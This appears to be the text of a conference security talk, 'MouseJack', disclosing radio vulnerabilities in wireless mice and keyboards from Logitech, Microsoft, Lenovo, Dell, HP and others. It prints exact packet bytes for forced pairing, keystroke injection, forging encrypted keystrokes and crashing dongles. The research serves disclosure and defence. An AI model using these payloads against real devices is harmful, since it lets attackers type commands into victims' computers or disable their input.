MouseJack: Injecting Keystrokes into Wireless Mice

Marc Newlin / marc@bastille.net / @marcnewlin
Marc Newlin
Security Researcher @ Bastille Networks
Agenda

1. Overview
2. Research Process
3. Protocols and Vulnerabilities
4. Vendor Responses
5. Demo
1. Overview
Types of Vulnerabilities

- Forced Device Pairing
- Keystroke Sniffing
- Unencrypted Keystroke Injection
- Encrypted Keystroke Injection
- Malicious Macro Programming
- Denial of Service
Affected Vendors

- AmazonBasics
- Anker
- Dell
- EagleTec
- GE
- Gigabyte
- HDE
- Hewlett-Packard
- Insignia
- Kensington
- Lenovo
- Logitech
- Microsoft
- RadioShack
- ShhhMouse
- Toshiba
Related Work

Thorsten Schroeder and Max Moser

- “Practical Exploitation of Modern Wireless Devices” (KeyKeriki)
- Research into XOR encrypted Microsoft wireless keyboards

Travis Goodspeed

- “Promiscuity is the nRF24L01+’s Duty”
- Research into nRF24L pseudo-promiscuous mode functionality

Samy Kamkar

- KeySweeper
- Microsoft XOR encrypted wireless keyboard sniffer
Common Transceivers

- General purpose transceivers with proprietary protocols
- Mouse/keyboard specific transceivers used as-is
- All devices use 2.4GHz GFSK
- Combination of protocol weaknesses and implementation flaws
Nordic Semiconductor nRF24L

- 2.4GHz general purpose transceivers
- 250kbps, 1Mbps, 2Mbps data rates
- 0, 1, or 2 byte CRC
- 2400-2525MHz, 1MHz steps
- XCVR only or 8051-based SoC
# nRF24L Family

<table>
<thead>
<tr>
<th>Transceiver</th>
<th>8051 MCU</th>
<th>128-bit AES</th>
<th>USB</th>
<th>Memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>nRF24L01+</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>N/A</td>
</tr>
<tr>
<td>nRF24LE1</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>Flash</td>
</tr>
<tr>
<td>nRF24LE1 OTP</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
<td>OTP</td>
</tr>
<tr>
<td>nRF24LU1+</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Flash</td>
</tr>
<tr>
<td>nRF24LU1+ OTP</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>OTP</td>
</tr>
</tbody>
</table>
Shockburst and Enhanced Shockburst

Figure 1: Shockburst packet format

<table>
<thead>
<tr>
<th>Preamble</th>
<th>Address</th>
<th>Payload</th>
<th>CRC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 byte</td>
<td>3-5 bytes</td>
<td>1-32 bytes</td>
<td>1-2 bytes</td>
</tr>
</tbody>
</table>

Figure 2: Enhanced Shockburst packet format

<table>
<thead>
<tr>
<th>Preamble</th>
<th>Address</th>
<th>Packet Control Field</th>
<th>Payload</th>
<th>CRC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 byte</td>
<td>3-5 bytes</td>
<td>9 bits</td>
<td>0-32 bytes</td>
<td>1-2 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Payload Length</th>
<th>PID</th>
<th>No ACK</th>
</tr>
</thead>
<tbody>
<tr>
<td>6 bits</td>
<td>2 bits</td>
<td>1 bits</td>
</tr>
</tbody>
</table>
Texas Instruments CC254X

- 2.4GHz general purpose transceivers
- Used in some Logitech keyboards and mice
- Logitech firmware is OTA compatible with nRF24L based devices
- All we care about is that they work like the nRF424L
MOSART Semiconductor

- Undocumented transceiver
- Appears to have mouse/keyboard logic baked in
- No encryption
- Most common with second tier vendors
Signia SGN6210

- (Mostly) undocumented transceiver
- General purpose transceiver
- No encryption
- Only found (by me) in Toshiba mice and keyboards
GE Mystery Transceiver

- Undocumented transceiver
- No idea who makes this chip
- No encryption
2. Research Process
"Since the displacements of a mouse would not give any useful information to a hacker, the mouse reports are not encrypted."

- Logitech
Software Defined Radio

- Great for prototyping and receive only reverse engineering
- Not as great for two way comms
- Retune timing limitations are a problem
- USB and processing latency make ACKs difficult
- Initial Logitech mouse reverse engineering was all SDR based
NES Controller

- Built a wireless NES controller for a burning man hat last summer
- nRF24L / Teensy based
- Should it really be a Logitech mouse controller?????
Logitech mouse presentation clicker @ lot Village...
CrazyRadio PA

- nRF24LU1+ based dongle
- Part of the CrazyFlie project
- Open source
- 225 meter injection range with yagi antenna
CrazyRadio + custom firmware = FUZZ ALL THE THINGS!!!!

1. Install CrazyRadio and target mouse/keyboard dongle into same computer
2. Disable magic syso
3. Float the input devices in xinput
4. Turn on usbmon, and watch the output of the mouse/keyboard dongle
5. Fuzz away
6. USB dongle does a thing? Save the last few seconds of RF TX data
7. Investigate
“I’ll take one of each, please”
3. Protocols and Vulnerabilities
Logitech Unifying

- Proprietary protocol used by most Logitech wireless mice/keyboards
- nRF24L based, but also some CC254X devices
- Introduced in 2009
- Any Unifying dongle can pair with any Unifying device
- Dongles support DFU
- Most devices don’t support DFU
### Logitech Unifying - Radio Configuration

<table>
<thead>
<tr>
<th>Radio Configuration</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Channels (MHz)</td>
<td>2402 - 2474, 3MHz spacing</td>
</tr>
<tr>
<td>Data Rate</td>
<td>2Mbps (2MHz GFSK)</td>
</tr>
<tr>
<td>Address Length</td>
<td>5 bytes</td>
</tr>
<tr>
<td>CRC Length</td>
<td>2 bytes</td>
</tr>
<tr>
<td>ESB Payload Lengths</td>
<td>5, 10, 22</td>
</tr>
</tbody>
</table>
Logitech Unifying - Packet Structure

<table>
<thead>
<tr>
<th>Preamble</th>
<th>Address</th>
<th>PCF</th>
<th>Enhanced Shockburst Payload</th>
<th>CRC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 byte</td>
<td>5 bytes</td>
<td>9 bits</td>
<td>5, 10, or 22 bytes</td>
<td>2 bytes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Unifying Payload</th>
<th>Checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>4, 9, or 21 bytes</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

Figure 3: Logitech Unifying packet format
Logitech Unifying - Encryption

- 128-bit AES
- Key generated during pairing process
- Most keystrokes are encrypted
- Multimedia keystrokes are not (volume, navigation, etc)
- Mouse packets are unencrypted
Logitech Unifying - General Operation

- USB dongles always in receive mode
- Mice and keyboards always in transmit mode
- ACK payloads enable dongle to device communication

<table>
<thead>
<tr>
<th>Device Index</th>
<th>Frame Type</th>
<th>Data</th>
<th>Checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 byte</td>
<td>1 byte</td>
<td>2, 7, or 19 bytes</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

Figure 4: Logitech Unifying payload format
<table>
<thead>
<tr>
<th>Example RF Addressing</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dongle serial number</td>
</tr>
<tr>
<td>Dongle RF address</td>
</tr>
<tr>
<td>Paired device 1 RF address</td>
</tr>
<tr>
<td>Paired device 2 RF address</td>
</tr>
<tr>
<td>Paired device 3 RF address</td>
</tr>
</tbody>
</table>
Logitech Unifying - Wakeup

- nRF24L supports max 6 receive pipes
- Unifying supports max 6 paired devices
- Unifying dongle always listens on its own address
- $6 + 1 > 6$
- Device sends wake up packet when turned on
Logitech Unifying - Keepalives and Channel Hopping

- Paired device specifies a keepalive timeout
- If the timeout is missed, dongle channel hops to find it

![Figure 5: Logitech Unifying set keepalive payload timeout](image)

![Figure 6: Logitech Unifying keepalive payload](image)
## Logitech Unifying - Mouse Input

<table>
<thead>
<tr>
<th>Field</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unused</td>
<td>1 byte</td>
<td></td>
</tr>
<tr>
<td>Frame Type</td>
<td>1 bytes</td>
<td>0xC2</td>
</tr>
<tr>
<td>Button Mask</td>
<td>1 byte</td>
<td>flags indicating the state of each button</td>
</tr>
<tr>
<td>Unused</td>
<td>1 bytes</td>
<td></td>
</tr>
<tr>
<td>Movement</td>
<td>3 bytes</td>
<td>pair of 12-bit signed integers representing X and Y cursor velocity</td>
</tr>
<tr>
<td>Wheel Y</td>
<td>1 byte</td>
<td>scroll wheel Y axis (up and down scrolling)</td>
</tr>
<tr>
<td>Wheel X</td>
<td>1 byte</td>
<td>scroll wheel X axis (left and right clicking)</td>
</tr>
<tr>
<td>Checksum</td>
<td>1 byte</td>
<td></td>
</tr>
</tbody>
</table>
## Logitech Unifying - Encrypted Keystroke Payload

<table>
<thead>
<tr>
<th>Field</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unused</td>
<td>1 byte</td>
<td></td>
</tr>
<tr>
<td>Frame Type</td>
<td>1 bytes</td>
<td>0xD3</td>
</tr>
<tr>
<td>Keyboard HID Data</td>
<td>7 bytes</td>
<td></td>
</tr>
<tr>
<td>??</td>
<td>1 byte</td>
<td></td>
</tr>
<tr>
<td>AES counter</td>
<td>4 bytes</td>
<td></td>
</tr>
<tr>
<td>Unused</td>
<td>7 bytes</td>
<td></td>
</tr>
<tr>
<td>Checksum</td>
<td>1 byte</td>
<td></td>
</tr>
</tbody>
</table>
Logitech Unifying - Unencrypted Multimedia Key

<table>
<thead>
<tr>
<th>Field</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unused</td>
<td>1 byte</td>
<td></td>
</tr>
<tr>
<td>Frame Type</td>
<td>1 bytes</td>
<td>0xC3</td>
</tr>
<tr>
<td>Multimedia Key Scan Codes</td>
<td>4 bytes</td>
<td>USB HID multimedia key scan codes</td>
</tr>
<tr>
<td>Unused</td>
<td>3 bytes</td>
<td></td>
</tr>
<tr>
<td>Checksum</td>
<td>1 byte</td>
<td></td>
</tr>
</tbody>
</table>
Logitech Unifying - Dongle to Device Communication

- Mouse or keyboard transmits packet to dongle
- Dongle attaches payload to ACK
- Status inquiries (battery level, etc)
- OTA firmware update commands
- Configuration commands (button macros, etc)
Logitech Unifying - Pairing

- Dedicated pairing address BB 0A DC A5 75
- In pairing mode, dongle listens for 30-60 seconds
- When device is switched on and can’t find its dongle, it tries to pair
- Device specifies its name, model, serial number, and capabilities
- Generic process for backward and forward compatibility
Logitech Unifying - Unencrypted Keystroke Injection

Unencrypted keystrokes can be injected into the address of already paired keyboards

‘a’ key down (scan code 4)

00 C1 00 04 00 00 00 00 00 3B

‘a’ key up (no scan codes specified)

00 C1 00 00 00 00 00 00 00 3F
Logitech Unifying - Forced Pairing (1 of 7)

Attacker transmits pairing request to address of already paired mouse

7F 5F 01 31 33 73 13 37 08 10 25 04 00 02 0C 00 00 00 00 00 71 40

10 25  Device model number (M510 mouse)
Logitech Unifying - Forced Pairing (2 of 7)

**Dongle replies with an assigned RF address**

7F 1F 01 **EA E1 93 27 15** 08 88 02 04 00 02 04 00 00 00 00 00 00 2B

**EA E1 93 27 15** Assigned RF address of the pairing device
Attacker transmits (arbitrary) serial number to dongle on the newly assigned RF address

00 5F 02 00 00 00 00 12 34 56 78 04 00 00 00 01 00 00 00 00 00 86

12 34 56 78  Device serial number

04 00  Device capabilities (mouse)
Dongle echoes back serial number

00 1F 02 0F 6B 4F 67 12 34 56 78 04 00 00 00 01 00 00 00 00 00 96

12 34 56 78  Device serial number
Attacker transmits device name

00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 B6

04 Device name length

4D 35 31 30 Device name (ascii string)
Dongle echoes back some bytes from the pairing process

00 0F 06 02 03 4F 67 12 34 EA
Logitech Unifying - Forced Pairing (7 of 7)

Attacker transmits pairing complete message

EA 0F 06 01 00 00 00 00 00 00
Attacker transmits pairing request to address of already paired mouse

75 5F 01 62 13 32 16 C3 08 10 25 04 00 02 47 00 00 00 00 00 01 20

10 25  Device model number (M510 mouse)
Dongle replies with an assigned RF address

```
75 1F 01 9D 65 CB 58 38 08 88 02 04 01 02 07 00 00 00 00 00 00 6E
```

```
9D 65 CB 58 38  Assigned RF address of the pairing device
```
Attacker transmits (arbitrary) serial number to dongle on the newly assigned RF address

```
00 5F 02 01 22 33 04 03 04 4D 77 1E 40 00 00 01 00 00 00 00 00 1B
```

```
03 04 4D 77  Device serial number
```

```
1E 40  Device capabilities (keyboard)  <-- this is the magic
```
Dongle echoes back serial number

00 1F 02 EE F0 FB 69 03 04 4D 77 1E 40 00 00 01 00 00 00 00 00 73

03 04 4D 77  Device serial number
Attacker transmits device name

00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6

04  Device name length

4D 35 31 30  Device name (ascii string)
Dongle echoes back some bytes from the pairing process
00 0F 06 02 03 FB 69 03 04 7B
Attacker transmits pairing complete message

EA 0F 06 01 00 00 00 00 00 00

Now we can inject keystrokes into our new “mouse”!!
Logitech Unifying - Unencrypted Injection Fix Bypass

- Logitech released a dongle firmware update on February 23
- Fixes the keystroke injection vulnerability on clean Windows 10
- How can we get around it??

1. Use OSX

2. Use Linux

3. Install Logitech Setpoint on your Windows box (lol wut?)
Logitech Unifying - Encrypted Keystroke Injection

1. Sniff a keypress, knowing that unencrypted “key up” packet is 00 00 00 00 00 00 00 00 D3 EA 98 B7 30 EE 49 59 97 9C C2 AC DA 00 00 00 00 00 00 00 B9 // 'a' key down
   00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // 'a' key up

2. Octets 2-8 of the “key up” packet are your ciphertext!

   EA 98 B7 30 EE 49 59 = Ciphertext from 9C C2 AC DA counter XOR’d with 00 00 00 00 00 00 00 04
   5C C8 88 A3 F8 CC 9D = Ciphertext from 9C C2 AC DB counter XOR’d with 00 00 00 00 00 00 00 00

3. XOR your ciphertext with 00 00 00 00 00 00 00 05 to make a ‘b’ keypress!

   00 D3 5C C8 88 A3 F8 CC 98 5F 9C C2 AC DB 00 00 00 00 00 00 00 3E // 'b' key down
   00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // 'b' key up
Logitech G900

- $150 wireless gaming mouse
- “professional grade wireless”
- Same underlying tech as Unifying
- Permanently paired
- Radio gain turned up to 11
- Low keepalive timeouts
# Logitech G900 - Radio Configuration

<table>
<thead>
<tr>
<th>Radio Configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Channels (MHz)</td>
</tr>
<tr>
<td>Data Rate</td>
</tr>
<tr>
<td>Address Length</td>
</tr>
<tr>
<td>CRC Length</td>
</tr>
<tr>
<td>ESB Payload Lengths</td>
</tr>
</tbody>
</table>
Logitech G900 - Unencrypted Keystroke Injection

Unencrypted keystrokes can be injected into the address of a G900 mouse

‘a’ key down (scan code 4)

00 C1 00 04 00 00 00 00 00 3B

‘a’ key up (no scan codes specified)

00 C1 00 00 00 00 00 00 00 3F
Logitech G900 - Malicious Macro Programming

- Logitech Gaming Software lets you customize mouse buttons
- You can program in macros!
- Macros can have arbitrary delays, and can be sufficiently long to do complex commands
- Macros can be programmed over the air by an attacker…
- Full technical details are the whitepaper!
Chicony

- OEM who makes the AmazonBasics keyboard, and the Dell KM632
- Same protocol used on both sets
- nRF24L based, no firmware update support

<table>
<thead>
<tr>
<th><strong>Radio Configuration</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Channels (MHz)</strong></td>
</tr>
<tr>
<td><strong>Data Rate</strong></td>
</tr>
<tr>
<td><strong>Address Length</strong></td>
</tr>
<tr>
<td><strong>CRC Length</strong></td>
</tr>
</tbody>
</table>
Chicony - Unencrypted Keystroke Injection

AmazonBasics Mouse

- Attacker transmits these three packets to the RF address of a mouse
- Lowest 5 bytes of second packet is HID data
- Generates ‘a’ key down event (scan code 4)

```
0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F
0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F
0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F
```

Dell KM632 Mouse

- Attacker transmits this packet to the RF address of a mouse
- Bytes 1-7 are HID data, generating ‘a’ key down event (scan code 4)

```
06 00 04 00 00 00 00 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F
```
Chicony - Encrypted Keystroke Injection

Dell KM632 keyboard and AmazonBasics keyboard

1. Sniff a keypress, knowing that unencrypted “key up” packet is 00 00 00 00 00 00 00

B9 D6 00 8E E8 7C 74 3C BD 38 85 55 92 78 01 // 'a' key down

D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // 'a' key up

2. Octets 0-7 of the “key up” packet are your ciphertext!

B9 D6 00 8E E8 7C 74 3C = Ciphertext of BD 38 85 55 92 78 01 XOR’d w/ 00 00 00 00 00 00 04

D0 E4 6F 75 C9 D1 53 30 = Ciphertext of 39 7B AD BC 44 B1 F6 XOR’d w/ 00 00 00 00 00 00 00

3. XOR your ciphertext with 00 00 00 00 00 00 05 to make a ‘b’ keypress!

D0 E4 6A 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // 'b' key down

D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // 'b' key up
### Radio Configuration

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Channels (MHz)</strong></td>
<td>2402-2480, 2MHz spacing</td>
</tr>
<tr>
<td><strong>Data Rate</strong></td>
<td>1Mbps (1MHz GFSK)</td>
</tr>
<tr>
<td><strong>Address Length</strong></td>
<td>4 bytes</td>
</tr>
<tr>
<td><strong>CRC Length</strong></td>
<td>2 bytes, CRC-16 XMODEM</td>
</tr>
<tr>
<td><strong>Payload Whitening</strong></td>
<td>0x5A (repeated)</td>
</tr>
</tbody>
</table>

### MOSART Packet Format

<table>
<thead>
<tr>
<th>Field</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preamble</td>
<td>2 bytes</td>
</tr>
<tr>
<td>Address</td>
<td>4 bytes</td>
</tr>
<tr>
<td>Frame Type</td>
<td>4 bits</td>
</tr>
<tr>
<td>Sequence Number</td>
<td>4 bits</td>
</tr>
<tr>
<td>Payload</td>
<td>3-5 bytes</td>
</tr>
<tr>
<td>CRC</td>
<td>2 bytes</td>
</tr>
<tr>
<td>Postamble</td>
<td>1 byte</td>
</tr>
</tbody>
</table>

Figure 7: MOSART packet format
## MOSART - Keystroke Sniffing and Injection

<table>
<thead>
<tr>
<th>Field</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preamble</td>
<td>2 bytes</td>
<td>AA:AA</td>
</tr>
<tr>
<td>Address</td>
<td>4 bytes</td>
<td></td>
</tr>
<tr>
<td>Frame Type</td>
<td>4 bits</td>
<td>0x07</td>
</tr>
<tr>
<td>Sequence Number</td>
<td>4 bits</td>
<td></td>
</tr>
<tr>
<td>Key State</td>
<td>1 byte</td>
<td>0x81 (down) or 0x01 (up)</td>
</tr>
<tr>
<td>Key Code</td>
<td>1 byte</td>
<td></td>
</tr>
<tr>
<td>CRC</td>
<td>2 bytes</td>
<td>CRC-16 XMODEM</td>
</tr>
<tr>
<td>Postamble</td>
<td>1 byte</td>
<td>FF</td>
</tr>
</tbody>
</table>
### Radio Configuration

<table>
<thead>
<tr>
<th></th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Channels (MHz)</td>
<td>2402-2480, 1MHz spacing</td>
</tr>
<tr>
<td>Data Rate</td>
<td>1Mbps (1MHz GFSK)</td>
</tr>
<tr>
<td>CRC Length</td>
<td>2 bytes, CRC-16-CCITT</td>
</tr>
</tbody>
</table>
Signia - Keystroke Sniffing and Injection

- Similar to the encrypted keystroke injection vulns, but finding a whitening sequence instead of ciphertext

```
AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 87 B8 7F 1D 8A 5F C3 17
AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 A7 B8 7F 1D 8A 5F F6 1F
```

20 69 87 B8 7F 1D 8A 5F = ‘a’ key down XOR’d with whitening sequence

20 69 A7 B8 7F 1D 8A 5F = key up (i.e. whitening sequence)
GE (but really Jasco)

- GE name on the product
- Made by Jasco, who licenses the GE brand
- No longer produced
- Mystery (unencrypted) transceiver

<table>
<thead>
<tr>
<th>Radio Configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Channels (MHz)</strong></td>
</tr>
<tr>
<td><strong>Data Rate</strong></td>
</tr>
<tr>
<td><strong>CRC Length</strong></td>
</tr>
</tbody>
</table>
An 'a' keystroke is transmitted over the air in the following format:

55:55:55:54:5A:07:9D:01:04:00:00:00:00:00:00:00:30:41 // 'a' key down

55:55:55:54:5A:07:9D:01:00:00:00:00:00:00:00:00:3F:2C // 'a' key up

Bytes 0-2: preamble

Bytes 3-6: sync field / address

Bytes 7-15: payload

Bytes 16-17: CRC

USB HID keystroke data, in the clear. Easy mode.
Lenovo

- Multiple OEMs and protocols, all based on nRF24L
- All affected devices share the same RF configuration:
  - 2Mbps data rate
  - 5 byte address width
  - 2 byte CRC
- Denial of service vulnerabilities affecting products from multiple OEMs
Lenovo - Denial of Service

**Lenovo Ultraslim**

Transmit this to the mouse address to crash the dongle:

```
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:
```

**Lenovo Ultraslim Plus**

Transmit this to the keyboard address to crash the dongle:

```
0F
```

**Lenovo N700:**

Transmit this to the mouse address to crash the dongle:

```
0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:
```
Lenovo - Unencrypted Keystroke Injection

Transmit to a Lenovo 500 wireless mouse address to inject 'a' keystroke:

00:00:0B:00:00:04:00:00:00 // 'a' key down

00:00:0B:00:00:00:00:00:00 // 'a' key up
Lenovo - Encrypted Keystroke Injection

Lenovo Ultraslim (not Ultraslim Plus!) keyboard

1. Sniff a keypress, knowing that unencrypted “key up” packet is 00 00 00 00 00 00 00 00 00 00 00 00

49 C3 5B 02 59 52 86 9F 38 36 27 EF AC // 'a' key down

4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // 'a' key up

2. Octets 0-6 of the “key up” packet are your ciphertext!

49 C3 5B 02 59 52 86 = Ciphertext of 9F 38 36 27 EF AC XOR’d w/ 00 00 04 00 00 00 00 00

4C 66 E1 46 76 1A 72 = Ciphertext of F4 F5 C0 0D 85 C3 XOR’d w/ 00 00 00 00 00 00 00 00 00

3. XOR your ciphertext with 00 00 05 00 00 00 00 00 to make a ‘b’ keypress!

4C 66 E4 46 76 1A 72 F4 F5 C0 0D 85 C3 // 'b' key down

4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // 'b' key up
Microsoft

- Old style XOR-encrypted wireless keyboards
- New style AES-encrypted wireless keyboards
- Mice from both generations vulnerable to keystroke injection
- nRF24L based, no firmware update support

<table>
<thead>
<tr>
<th>Radio Configuration</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Channels (MHz)</td>
<td>2403 - 2480</td>
</tr>
<tr>
<td>Data Rate</td>
<td>2Mbps (2MHz GFSK)</td>
</tr>
<tr>
<td>Address Length</td>
<td>5 bytes</td>
</tr>
<tr>
<td>CRC Length</td>
<td>2 bytes</td>
</tr>
</tbody>
</table>
Microsoft - Unencrypted Keystroke Injection

The following packets will generate an 'a' keystroke when transmitted to the RF address of a mouse:

Microsoft Sculpt Ergonomic Desktop / Microsoft USB dongle model 1461
08:78:87:01:A0:4D:43:00:00:04:00:00:00:00:00:A3
08:78:87:01:A1:4D:43:00:00:00:00:00:00:00:00:A6

Microsoft Wireless Mobile Mouse 4000 / Microsoft USB dongle model 1496
08:78:18:01:A0:4D:43:00:00:04:00:00:00:00:00:3C
08:78:18:01:A1:4D:43:00:00:00:00:00:00:00:00:39

Microsoft Wireless Mouse 5000 / Microsoft 2.4GHz Transceiver v7.0
08:78:03:01:A0:4D:43:00:00:04:00:00:00:00:00:27
08:78:03:01:A1:4D:43:00:00:00:00:00:00:00:00:22
The HP Wireless Elite v2 is an nRF24L based wireless keyboard and mouse set with a proprietary communication protocol using AES encryption.

### Radio Configuration

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Channels (MHz)</strong></td>
<td>2403 - 2480 (1MHz spacing)</td>
</tr>
<tr>
<td><strong>Data Rate</strong></td>
<td>2Mbps (2MHz GFSK)</td>
</tr>
<tr>
<td><strong>Address Length</strong></td>
<td>5 bytes</td>
</tr>
<tr>
<td><strong>CRC Length</strong></td>
<td>2 bytes</td>
</tr>
</tbody>
</table>
HP - Encrypted Keystroke Injection

```
[keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB                 // key down
[dongle] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB
[keyboard] 07
[dongle] 0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB                 // key up
[dongle] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB
[keyboard] 07
[dongle] 0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F 80 CF 2E B1 49 49 CB                 // key down
[dongle] 07 69 6A 15 A0 B2 11 11 7B B1 49 49 CB
[keyboard] 07
[dongle] 0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB                 // key up
[dongle] 06 11 11 7B E8 7F D1 CF 2E B1 49 49 CB
[keyboard] 07
[dongle] 0B 69 6A 15 A0 B2 11 11 7B
[keyboard] 06 11 11 7B E8 7F B5 55 F8 52 28 CA 8B DC 92 63       // request key rotate
[dongle] 04                                                        // crypto exchange
[keyboard] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0     // crypto exchange
[dongle] 05 10 22 C9 60 E7 CE 2B 48 6F AD E1 1C 16 C2 BD E0       // crypto exchange
[keyboard] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63                 // key down
[dongle] 06 C2 CF B5 55 F8 52 28 CA 8B DC 92 63
[keyboard] 07
[dongle] 0B DA 88 A3 0B 00 C2 CF B5                                // crypto exchange
[keyboard] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63                 // key up
[dongle] 06 C2 CF B5 55 F8 1D 28 CA 8B DC 92 63
```

Similar to other vulnerabilities, the ciphertext can be inferred by watching a key down and key up sequence, and Used to generate malicious encrypted keystrokes.
Gigabyte

- nRF24L based unencrypted wireless keyboard and mouse
- nRF24L01 transceiver (Shockburst)
- SONIX keyboard/mouse/dongle ASICs

<table>
<thead>
<tr>
<th>Radio Configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Channels (MHz)</strong></td>
</tr>
<tr>
<td>2403 - 2480 (1MHz spacing)</td>
</tr>
<tr>
<td><strong>Data Rate</strong></td>
</tr>
<tr>
<td>1Mbps (1MHz GFSK)</td>
</tr>
<tr>
<td><strong>Address Length</strong></td>
</tr>
<tr>
<td>5 bytes</td>
</tr>
<tr>
<td><strong>CRC Length</strong></td>
</tr>
<tr>
<td>2 bytes</td>
</tr>
</tbody>
</table>
Gigabyte - Keystroke Sniffing and Injection

An 'a' keystroke is transmitted over the air in the following format:

CE:00:02:00:00:00:00:00:00:00:3F:80:3D // 'a' key down

Stuff we care about (keyboard USB HID data), is shifted one bit right.

Shift it to the left, and we get an 'a' scan code (04)! Woooo!!!
4. Vendor Responses
Most of the vendors are still in disclosure for one or more vulnerabilities. Vendor responses and mitigation options will be updated prior to DEF CON, and will be included in the slide deck distributed online and used in the presentation.
5. Demo
Demo - Logitech Unifying

- Logitech M510
- Forced pairing
- Disguise keyboard as mouse
- Unencrypted keystroke injection into keyboard address
Demo - Microsoft

- Microsoft Sculpt Ergonomic Mouse
- Unencrypted Keystroke Injection
Questions?

Marc Newlin
marc@bastille.net
@marcnewlin